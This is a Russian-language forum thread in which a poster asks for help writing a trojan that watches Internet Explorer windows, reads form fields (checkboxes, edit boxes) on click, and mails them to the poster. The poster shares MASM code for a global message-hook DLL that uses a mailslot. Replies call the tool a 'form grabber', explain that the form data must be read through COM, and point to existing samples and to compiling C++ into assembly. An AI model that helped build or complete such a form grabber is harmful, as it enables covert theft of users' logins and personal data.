У меня проблема. Надо написать что-то типа трояна, который будет при установки соединения с инетом искать определённые окна IE и при нажатии на кнопку или ссылку в этих окнах считывать все контроллы с окна (чекбоксы, эдиты и т.д.) и отправлять их мне на мыло. Все бы хорошо, тока не могу отловить события IE. Ставил гловальный хук на WH_GETWNDPROC, WH_MOUSE_ WH_CBT и т.д., но он не видит событий самого окошка, видит тока нажатие меню, кнопок навигации, короче всего, чего не надо. Может кто подскажет где копать или может сорцы есть?
Может я не по тому хэндлу смотрю. Я делал так: хук у меня в длл, при запуске проги ставит хук, ищет окно по классу "IEFrame", далее, если в нём есть подкласс "Internet Explorer_Server", то записывает его хэндл в себе буфер и отправляет через MailSlot моему хуку. Тот уже обрабатывает сообщения всякие, получив этот буфер, сверяет хэндл отправителя... короче вот текст: Код (Text): .const WM_GETMSGHOOK equ WM_USER+666 .data hInstance dd 0 MSName db "\\.\mailslot\IEPluginmsg",0 .data? hHook dd ? hWnd dd ? hSlot dd ? hBuff dd 25 dup(?) BuffSize db ? RWSize dd ? .code DllEntry proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD .if reason==DLL_PROCESS_ATTACH push hInst pop hInstance .endif mov eax,TRUE ret DllEntry Endp GetMsgProc proc EXPORT nCode:DWORD,wParam:DWORD,lParam:DWORD invoke CallNextHookEx,hHook,nCode,wParam,lParam ; след. обработчик mov eax,nCode cmp eax,HC_ACTION jnz Exit invoke ReadFile, hSlot, offset hBuff,\ ; читаем сообщение из MailSlot`a 101,offset RWSize, NULL movzx ecx, byte ptr [BuffSize] ; ecx = размер буфера с окнами jecxz Exit mov edx,lParam ; edx = указатель на MSG assume edx:PTR MSG mov eax, [edx].hwnd ; eax = хэндл окна, кот. послало сообщение loo: cmp eax, dword ptr [hBuff+ecx*4-4] jz Found loopz loo jmp Exit Found: mov eax,[edx].message cmp eax,WM_COMMAND jnz Exit mov eax, [edx].wParam shr eax,16 cmp ax,BN_CLICKED jnz Exit invoke PostMessage,hWnd,WM_GETMSGHOOK,[edx].hwnd,0 Exit: assume edx:nothing xor eax,eax ret GetMsgProc endp InstallHook proc EXPORT hwnd:DWORD push hwnd ; окно, которому посылать месаги pop hWnd invoke CreateMailslotA, offset MSName,0,0,0 ; cjplftv MailSlot cmp eax,-1 jz Error mov hSlot,eax invoke SetWindowsHookEx,WH_GETMESSAGE,offset GetMsgProc,hInstance,NULL mov hHook,eax ; хэндл хука сохранили Error: ret InstallHook endp UninstallHook proc EXPORT invoke CloseHandle, hSlot invoke UnhookWindowsHookEx,hHook ; удаляем хук ret UninstallHook endp End DllEntry
Чекбоксы и эдиты в окне эксплорера - это не стандартные виндовые контролы. Это даже не окна. Зато их легко можно опрашивать через COM. Можете проверить написав простенький JavaScript.
Я не любитель ООП, и что такое СОМ я знаю тока из лекций =) А можно как-нить на масме это сделать ИМХО очень надо. Может ссылки какие или работа с СОМ на масме?
Статьи, конечно есть, я их перечитал... Но там о том как создавать объекты, использовать уже готовые виндовые. Многое стало понятно. Но как именно обрабатывать internet explorer_server??? Слышал есть такой класс: Explorer или InternetExplorer. Как можно заменить его обработчики на свои и потом вернуть управление обратно (т.е. перейти на нужный урл)? Я чет зашел в тупик с этими СОМ...
Трояны данной направленности называются формграберы. Без COM здесь явно не обойтись, потому: 1. поиск по форуму 2. google 3. rsdn (что мешает написать все это дело на С++, а потом перевести в asm? )
Все необходимые объекты браузера, точнее их классы, описаны в MSDN. И примеры использования этих объектов в мирных целях можно найти через гугл.
Stub - это не вариант, насчет с++, надо во всем разобраться на низком уровне. To All: ну, если нет примерчиков, придется самому копаться... Спасибо за помощь!
Хм, а почему бы и нет?! Если есть сложности на низком уровне, то почему бы не обойти их на более высоком? Вот тут С++ нам и в помощь, тем более что при использовании "чудо-ключа" /Fa(s) жизнь становится легче . Кстати примерчики есть: проскакивали на форуме, кучкой лежат в сети (например не оч давно проскакивал вариант от Coban2k).
хм, а разве долго слить его пример к статье на С++ и перевести в MASM? Экономия 500$ одним ключем к компилятору - /Fa Вам в помощь.